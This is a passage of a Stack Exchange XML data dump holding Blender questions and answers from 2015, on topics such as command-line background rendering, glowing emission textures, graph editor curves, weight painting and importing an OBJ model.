  <row Id="31257" PostTypeId="2" ParentId="31255" CreationDate="2015-05-21T17:22:56.280" Score="9" Body="&lt;p&gt;Yes, this Blender supports this feature, which is frequently used on render-farms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference, in Blender this is known as &lt;strong&gt;background mode&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I've had success rendering on a Linux cluster using SGE. Here, I render the first 1500 frames of an animation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;math-container&quot;&gt;$ for n in `seq 1 1500`; do qbatch blender --background myblend.blend -x 1 -f $&lt;/span&gt;n; done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(note &lt;code&gt;qbatch&lt;/code&gt; is just a script that submits a regular command line invocation to SGE for distribution to a compute node, so it's the stuff between &quot;qbatch&quot; and &quot;done&quot; that you're probably interested in)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on the dynamics of your system, you may want to batch your renders differently, but you can adapt what I used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a page that describes some useful command line options: &lt;a href=&quot;https://docs.blender.org/manual/en/dev/advanced/command_line/render.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.blender.org/manual/en/dev/advanced/command_line/render.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="1621" LastEditDate="2020-03-13T12:36:35.367" LastActivityDate="2020-03-13T12:36:35.367" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31258" PostTypeId="1" CreationDate="2015-05-21T18:26:23.367" Score="0" ViewCount="89" Body="&lt;p&gt;I have successfully tracked and applied 3D data to my short scene in Blender along with a small model that is tracking into the scene. When I render my scene out, the video footage is blown out and overly bright; almost white.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0GXcB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I prevent that?&lt;/p&gt;&#xA;" OwnerUserId="14514" LastEditorUserId="3710" LastEditDate="2015-05-21T19:02:52.170" LastActivityDate="2015-05-21T19:02:52.170" Title="Rendering a 3D Tracked Scene" Tags="&lt;compositor&gt;&lt;tracking&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31261" PostTypeId="2" ParentId="30810" CreationDate="2015-05-21T19:07:16.580" Score="2" Body="&lt;p&gt;If the model the t-shirt is on is moving and a collision object, I'm going to guess the movement isn't wind, but the effect of the momentum of previous movements staying in the system. I'd suggest posting your cloth settings, but I'm guessing you need to look specifically at the &quot;damping setting&quot; on the right side of the cloth settings.&lt;/p&gt;&#xA;" OwnerUserId="2937" LastActivityDate="2015-05-21T19:07:16.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31262" PostTypeId="1" AcceptedAnswerId="31268" CreationDate="2015-05-21T19:39:38.717" Score="10" ViewCount="11143" Body="&lt;p&gt;I'm trying to make an image texture that glows in Blender. An example might be a television or a smart phone. How can I accomplish this? Any help is greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zy0bL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't rendered the image, but this seems to do the effect that I wanted:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/c1Wi4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14517" LastEditorUserId="3710" LastEditDate="2015-05-22T10:19:09.873" LastActivityDate="2015-05-22T10:19:09.873" Title="How do I make a glowing image texture" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;light&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31263" PostTypeId="2" ParentId="31262" CreationDate="2015-05-21T19:41:20.717" Score="1" Body="&lt;p&gt;Set your image texture, and set your material type to &quot;emission&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit&lt;/strong&gt; if you're using cycles:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fBYXC.jpg&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14501" LastEditorDisplayName="user1853" LastEditDate="2015-05-21T20:43:43.300" LastActivityDate="2015-05-21T20:43:43.300" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31264" PostTypeId="2" ParentId="31243" CreationDate="2015-05-21T19:58:43.873" Score="5" Body="&lt;p&gt;You have an unused video strip in the VSE and in the Post processing options you have sequence enabled. That makes the Video Sequence Editor take precedence and it will not render your scene, but whatever is happening on the VSE. Disable the sequence box and you'll be able to render your scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HaESs.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Jbbzn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jbbzn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2020-01-02T18:23:29.127" LastActivityDate="2020-01-02T18:23:29.127" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31265" PostTypeId="1" CreationDate="2015-05-21T20:06:53.457" Score="4" ViewCount="657" Body="&lt;p&gt;I have an issue while tring to set up a material for blender game engine. You can see the setup on the image, and the BGE doesn't render my purple object that's on the View panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AVxk5.png&quot; alt=&quot;settings&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13343" LastActivityDate="2015-05-21T20:06:53.457" Title="nodes in blender game engine" Tags="&lt;game-engine&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31266" PostTypeId="1" CreationDate="2015-05-21T20:27:08.133" Score="8" ViewCount="2639" Body="&lt;p&gt;I am working on a material for a candle, but I'm using the geometry input to get the Z value as a fac for a mix shader. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've already taken into account the objects position using the object info input, but I've realized that if I duplicate the object and scale it up or down, the material no longer works as it should.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get the objects scale in the material node editor to multiply the Z value by?&lt;/p&gt;&#xA;" OwnerUserId="14520" LastEditorUserId="2217" LastEditDate="2015-05-21T21:44:08.567" LastActivityDate="2018-07-24T17:04:44.490" Title="Is it possible to get an objects scale through an input in the cycles node editor?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31268" PostTypeId="2" ParentId="31262" CreationDate="2015-05-21T20:35:52.060" Score="10" Body="&lt;p&gt;Add a plane, unwrap it and give it an image texture. Set the nodes as pictured below (connect the &lt;em&gt;Image Texture&lt;/em&gt; node to &lt;em&gt;Emission&lt;/em&gt; node). Set up the emitter's strenght.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fry4M.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to increase the glowing effect you may do this in &lt;strong&gt;Compositor&lt;/strong&gt;. Just add a &lt;em&gt;Glare&lt;/em&gt; node and experiment with its settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/s9CsN.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="3710" LastEditDate="2015-05-22T10:17:32.270" LastActivityDate="2015-05-22T10:17:32.270" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31269" PostTypeId="2" ParentId="27628" CreationDate="2015-05-21T21:09:51.827" Score="1" Body="&lt;p&gt;I struggled with this as well, and after trial and error came up with a method that works pretty well. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create your custom shape using standard alignment (global axis)&lt;/li&gt;&#xA;&lt;li&gt;Select the bone in edit mode, and align the view to the bone's top (or sometimes front) view.&lt;/li&gt;&#xA;&lt;li&gt;Select the base of the bone and move the cursor (Shift-S, Cursor to selected)&lt;/li&gt;&#xA;&lt;li&gt;Tab back into object mode and select your shape. Move it to the cursor (Shift-S, Selected to Cursor)&lt;/li&gt;&#xA;&lt;li&gt;Make sure your transform orientation is set to &quot;view&quot; and then align the shape object to the view (Object -&gt; Transform -&gt; Align to&#xA;Transform Orientation)&lt;/li&gt;&#xA;&lt;li&gt;Now select the bone in POSE mode and assign the custom shape. With any luck it should be similarly positioned to the bone.&lt;/li&gt;&#xA;&lt;li&gt;Size the shape in OBJECT mode to the size of the bone.&lt;/li&gt;&#xA;&lt;li&gt;Now you can change the shape in EDIT mode and the bone should follow.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I made a quick screencast and shared it to youtube that may help visualize this process better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=cctkbxxgONU&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=cctkbxxgONU&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14521" LastActivityDate="2015-05-21T21:09:51.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31270" PostTypeId="1" AcceptedAnswerId="31284" CreationDate="2015-05-21T21:50:27.700" Score="1" ViewCount="520" Body="&lt;p&gt;I have an operator I wrote which adds letterboxing to VSE strips: &lt;a href=&quot;https://github.com/mutantbob/blender-letterbox/blob/master/letterbox.py&quot; rel=&quot;nofollow&quot;&gt;letterbox.py&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has some parameters that I would like to expose to the user, but the operator parameters panel only appears in the tool shelf of the 3D view, which is not usually in use when doing VSE work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get blender to show these operator parameters somewhere that would be accessible to someone using a traditional VSE window layout?&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-05-22T05:02:24.933" Title="How do I make the operator parameters panel appear in the sequence editor instead of the 3d view?" Tags="&lt;python&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31271" PostTypeId="1" AcceptedAnswerId="31273" CreationDate="2015-05-21T22:48:52.850" Score="6" ViewCount="3321" Body="&lt;p&gt;Whenever I do an animation the graph editor gives me curves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TG6zJ.png&quot; alt=&quot;Curves&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But im not getting any curves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/S0Pcj.png&quot; alt=&quot;no-curves&quot;&gt;   &lt;/p&gt;&#xA;" OwnerUserId="14522" LastEditorDisplayName="user1853" LastEditDate="2015-05-21T23:27:34.913" LastActivityDate="2015-05-22T10:12:00.247" Title="Why dont i get curves on the graph editor?" Tags="&lt;animation&gt;&lt;graph-editor&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31273" PostTypeId="2" ParentId="31271" CreationDate="2015-05-21T23:01:32.183" Score="6" Body="&lt;p&gt;Some curves may not be visible due to their high value, or too low value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of, check if you see all curves by adjusting vertical zoom, with &lt;kbd&gt;CTRL&lt;/kbd&gt; + &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/OASpJ.png&quot; alt=&quot;MMB&quot; title=&quot;Middle Mouse Button&quot;&gt; MMB&lt;/kbd&gt;, then drag up / down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you can check the &lt;code&gt;Normalize&lt;/code&gt; button at the bottom toolbar of the graph editor, and all curves will be clamped between -1 and 1 so you can see them all in a more condensed area of the graph.&lt;/p&gt;&#xA;" OwnerUserId="527" LastEditorUserId="527" LastEditDate="2015-05-22T10:12:00.247" LastActivityDate="2015-05-22T10:12:00.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31274" PostTypeId="1" AcceptedAnswerId="31322" CreationDate="2015-05-22T00:58:43.557" Score="1" ViewCount="157" Body="&lt;p&gt;So I'm making this danmakufu game in Blender as a school project, and it's due by the end of May.&lt;/p&gt;&#xA;&lt;p&gt;I have this little rocket:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nYQLc.png&quot; alt=&quot;meet the player character, folks!&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;And I have this... TIE fighter-like thing:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5q2dx.png&quot; alt=&quot;this is the TIE in question, which is surprising because there is no &amp;quot;TIE&amp;quot; in &amp;quot;question&amp;quot;&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;So I'm trying to make the TIE fighter's y-pos match with the player's y-pos, but not make it too fast otherwise the TIE fighter's just going to run into the storm of bullets produced by the player, but I also don't want him to go too fast (or else his bullets would be way out of synch.)&#xA;The problem is, however, is that it's decidedly NOT MIT AppInventor or Scratch. You can't just stick in a data block saying &amp;quot;glide to co-ords (objectx+100,objecty)&amp;quot; or &amp;quot;always repeat [wait 5 ticks] [create object &amp;quot;Doop&amp;quot; with (parentx,parenty) and (direction=playerhitbox)]&amp;quot; in Blender. How can such a function be attained in Blender?&#xA;Question 1 answered. onto the next one!&#xA;Also, how does one actually get the bullet to aim at the player, but not seek?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/238/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=238&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;P.S. the person with the best answer gets to be mentioned in the credits!&lt;/p&gt;&#xA;" OwnerUserId="13814" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-05-23T17:49:21.280" Title="Making a Mobile &quot;Roadblock&quot;" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="31275" PostTypeId="1" AcceptedAnswerId="31276" CreationDate="2015-05-22T01:59:53.083" Score="4" ViewCount="1698" Body="&lt;p&gt;I'm trying to fill selected faces with color using the fill tool with face select mask toggled, but in the UV editor you can see that the fill is extending beyond the edges by quite a bit. I'm using Zero Brush here, but it happens in default Blender, too (ZB actually has a &quot;fill threshold&quot; option that lessens this problem but does not eliminate it.) Is there a way to stop the edges from bleeding over, period? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/9HocVED.jpg&quot; alt=&quot;filling outside the lines&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: If the image is hard to see, full size is here &lt;a href=&quot;https://i.imgur.com/9HocVED.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;overfill&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14468" LastActivityDate="2015-05-22T02:05:02.917" Title="Fill tool not respecting the boundaries of my face selection mask" Tags="&lt;texture-painting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31276" PostTypeId="2" ParentId="31275" CreationDate="2015-05-22T02:04:08.457" Score="4" Body="&lt;p&gt;This is done on purpose to make sure that those UVs are completely covered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to turn it off, set the &lt;em&gt;Bleed&lt;/em&gt; to 0 in &lt;em&gt;3D view &gt; Tool shelf &gt; options&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MDHK3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However this may cause artifacts like this, where the pixels don't completely cover the entirely UV face:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uQZoF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-05-22T02:04:08.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31278" PostTypeId="1" AcceptedAnswerId="31280" CreationDate="2015-05-22T02:16:59.063" Score="1" ViewCount="1209" Body="&lt;p&gt;I did something unbeknownst to me and have made my view constantly follow an object. If i move that object it remains constant in the center of my view while the rest of the scene moves around instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is this setting? I've tried pressing &lt;kbd&gt;.&lt;/kbd&gt; on the number pad and it did nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wAZ6s.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1506" LastEditorUserId="1506" LastEditDate="2015-05-22T02:22:14.533" LastActivityDate="2015-05-22T02:31:00.350" Title="View follows object when object moves? How do I turn this off?" Tags="&lt;3d-view&gt;" AnswerCount="1" CommentCount="10" ClosedDate="2015-05-22T12:41:19.777" ContentLicense="CC BY-SA 3.0" />
  <row Id="31280" PostTypeId="2" ParentId="31278" CreationDate="2015-05-22T02:31:00.350" Score="6" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7a9yA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press the N key to bring up the right tool bar, and delete your cog object from the Lock to Object field. &lt;/p&gt;&#xA;" OwnerUserId="14501" LastActivityDate="2015-05-22T02:31:00.350" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31281" PostTypeId="1" AcceptedAnswerId="31283" CreationDate="2015-05-22T03:05:08.913" Score="1" ViewCount="1260" Body="&lt;p&gt;So, I'm trying to edit weight paint data in Blender, and I want to create a gradient to create a smooth bend in the rig I'm going to edit (I'm editing a rig I downloaded so that the legs and arms don't just move at a direct, unrealistic angle), but I don't just want to hold &lt;kbd&gt;LMB&lt;/kbd&gt; and hope that I move my mouse in a somewhat horizontally straight fashion. How does one draw a stroke that is completely strait and linear by just clicking and dragging? The Blender manual says you can create a linear gradient by holding &lt;kbd&gt;Alt&lt;/kbd&gt; and dragging with &lt;kbd&gt;LMB&lt;/kbd&gt;, but my result is pretty useless.&#xA;&lt;a href=&quot;http://pasteall.org/pic/show.php?id=88490&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://pasteall.org/pic/show.php?id=88490&lt;/a&gt;&#xA;&lt;br&gt;As you can see, what happened in the GIF wasn't very useful.&#xA;Does anybody know how to draw a line in weight paint mode?&lt;/p&gt;&#xA;" OwnerUserId="10911" LastActivityDate="2015-05-22T07:23:47.403" Title="Create a linear brush stroke with weight paint?" Tags="&lt;rigging&gt;&lt;weight-painting&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31282" PostTypeId="2" ParentId="31281" CreationDate="2015-05-22T03:23:32.200" Score="1" Body="&lt;p&gt;This isn't an answer to the question you asked, but it may be helpful in solving your situation.  You can use vertex groups, created in edit mode, named the same as your bones in your armature, to create more precise rigging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/36178&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/36178&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see what I mean in a quick demo I built just now.  &lt;/p&gt;&#xA;" OwnerUserId="14501" LastActivityDate="2015-05-22T03:23:32.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31283" PostTypeId="2" ParentId="31281" CreationDate="2015-05-22T04:29:37.307" Score="1" Body="&lt;p&gt;I'd do a few things first. Here is a great tutorial on weight paint: &lt;a href=&quot;https://www.youtube.com/watch?v=rkT92aoMpP0&amp;amp;index=35&amp;amp;list=PLda3VoSoc_TR7X7wfblBGiRz-bvhKpGkS&amp;amp;ab_channel=BornCG&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=rkT92aoMpP0&amp;amp;index=35&amp;amp;list=PLda3VoSoc_TR7X7wfblBGiRz-bvhKpGkS&amp;amp;ab_channel=BornCG&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He gives details on how to adjust the brush, reducing the Weight, Radius, Strength; Stroke Method: Line? Spacing? Curve: Brush shape: [^]line, etc which are in the [T]ool bar when in weight paint mode, and various other properties.  The tutorial doesn't go into every property; but, he does cover quite a few.  I certainly got better results than what you show in your example; so perhaps that's the information you're missing.&lt;/p&gt;&#xA;" OwnerUserId="14243" LastActivityDate="2015-05-22T04:29:37.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31284" PostTypeId="2" ParentId="31270" CreationDate="2015-05-22T05:02:24.933" Score="2" Body="&lt;p&gt;When adjusting options is support, pressing &lt;kbd&gt;F6&lt;/kbd&gt; will bring up the operator options in most blender windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AWUKy.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option may be to setup a panel in the properties sidebar that shows your operator options.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-05-22T05:02:24.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31285" PostTypeId="1" AcceptedAnswerId="31289" CreationDate="2015-05-22T05:23:41.657" Score="2" ViewCount="2847" Body="&lt;p&gt;Is there a way to increase the amount of side faces on a cylinder-like object  after manipulating the object in edit mode other than using subsurf and creasing every single edge? The edges selected on the picture are the ones I'm refering to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I modeled a now somewhat complex object starting with a simple cylinder, assuming that the amount of faces on the side would be sufficient though there's a need to increase it now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, does the shading method (smooth/flat) affect the model in any way when exporting to other file formats?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9PigX.png&quot; alt=&quot;unnamed&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14528" LastActivityDate="2015-05-22T17:43:39.007" Title="increasing amount of side faces on object made from cylinder" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;objects&gt;&lt;editing&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31286" PostTypeId="2" ParentId="31271" CreationDate="2015-05-22T05:26:58.723" Score="4" Body="&lt;p&gt;Pressing &lt;kbd&gt;Home&lt;/kbd&gt; will zoom the view to make all keyframes visible. For smaller/laptop keyboards without a home key this can also be found in &lt;code&gt;View-&amp;gt;View All&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the scroll wheel to zoom the graph editor in/out or use &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt; &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/OASpJ.png&quot; alt=&quot;MMB&quot; title=&quot;Middle Mouse Button&quot;&gt; MMB&lt;/kbd&gt; and drag up/down to zoom the values or left/right to zoom frames.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is most often the rotation values that are large, one way to keep them in range with other keyframes is to work with radians instead of degrees or to use Quaternion rotations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Radians can be enabled in the scene properties under units. This option allows you to change between degrees and radians as you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HrY4T.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-05-22T05:26:58.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31287" PostTypeId="2" ParentId="31281" CreationDate="2015-05-22T07:23:47.403" Score="1" Body="&lt;p&gt;You can check the &quot;smooth stroke&quot; function, under the stroke tab of your weight paint brush panel: it helps to draw straight lines and smooth curves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0qqbM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-05-22T07:23:47.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31288" PostTypeId="1" CreationDate="2015-05-22T07:28:04.263" Score="14" ViewCount="564" Body="&lt;p&gt;Using the singular ray output, it's possible to detect whether or not the object is being viewed through a perfectly sharp reflection or refraction:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qFeD9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides changing colors of reflections, what are some possible use-cases for this variable?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2016-03-05T23:25:11.760" Title="What are some use cases for the singlar ray output?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;materials&gt;&lt;nodes&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31289" PostTypeId="2" ParentId="31285" CreationDate="2015-05-22T07:29:05.890" Score="2" Body="&lt;p&gt;Mesh Objects in Blender don't have an Edit History that would allow you to edit a parameter somewhere at the start of the Object's life and have that propagate through all other operations to the present. You can't in your example change the tube's vertex count after you've made edits to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it is possible to reconstruct the object quickly with the desired vertex counts. For instance use the Screw Modifier to Lathe the profile around an axis. The Object's &lt;em&gt;center&lt;/em&gt; can be used as the rotation coordinate or an Empty.&lt;/p&gt;&#xA;" OwnerUserId="47" LastActivityDate="2015-05-22T07:29:05.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31290" PostTypeId="1" AcceptedAnswerId="31291" CreationDate="2015-05-22T07:42:51.213" Score="2" ViewCount="434" Body="&lt;p&gt;I'm encountering a problem with the following .OBJ. It is a rip-off of the Destiny Islands world in Kingdom Hearts. Here is the link:&#xA;&lt;a href=&quot;http://www.models-resource.com/psp/khbirthbysleep/model/2856/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.models-resource.com/psp/khbirthbysleep/model/2856/&lt;/a&gt;&#xA;I am in Blender Game and using the latest version of Blender from the official website.&#xA;When I try to import it, I immediately notice that there went something wrong: The leafs on the trees have white borders around them, the sand near the water doesn't load correctly. Here is a screenshot from within Blender:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/aCoqz.jpg&quot; alt=&quot;Destiny Islands bug&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I test the game, everything looks even worse: the texture order gets messed up; the texture under the bridge appears above it, etc. It looks really weird. I don't know how to fix it. Maybe there is something wrong with the .OBJ or is there an import mode that fixes this problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance and please excuse my bad English.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thomas&lt;/p&gt;&#xA;" OwnerUserId="14529" LastActivityDate="2015-06-04T06:22:13.873" Title="How can I properly import this .OBJ file?" Tags="&lt;texturing&gt;&lt;game-engine&gt;&lt;import&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31291" PostTypeId="2" ParentId="31290" CreationDate="2015-05-22T07:48:42.713" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The trees use alpha maps, and you can see these inside the 3d view, It is meant to be like that until you apply materials.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I'm not sure if this is the case but if it is then this may help. For the water there are 3 things I could think of: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The.OBJ is so big, that when you zoom out you can't see the water since the 3d view cannot trace that far back. So try zooming into the water.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Try removing doubles by pressing T in the 3D View, and on the left you should see remove doubles button. Also try and recalculate normals, which is right under remove doubles.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Since the model is ripped, the model just might be clipped and the person who ripped it might not have gotten all the water polys.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the water and try and move it upwards, from the image it looks like it's colliding with the sand instead of being above it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1829" LastEditorDisplayName="user12855" LastEditDate="2015-06-04T06:22:13.873" 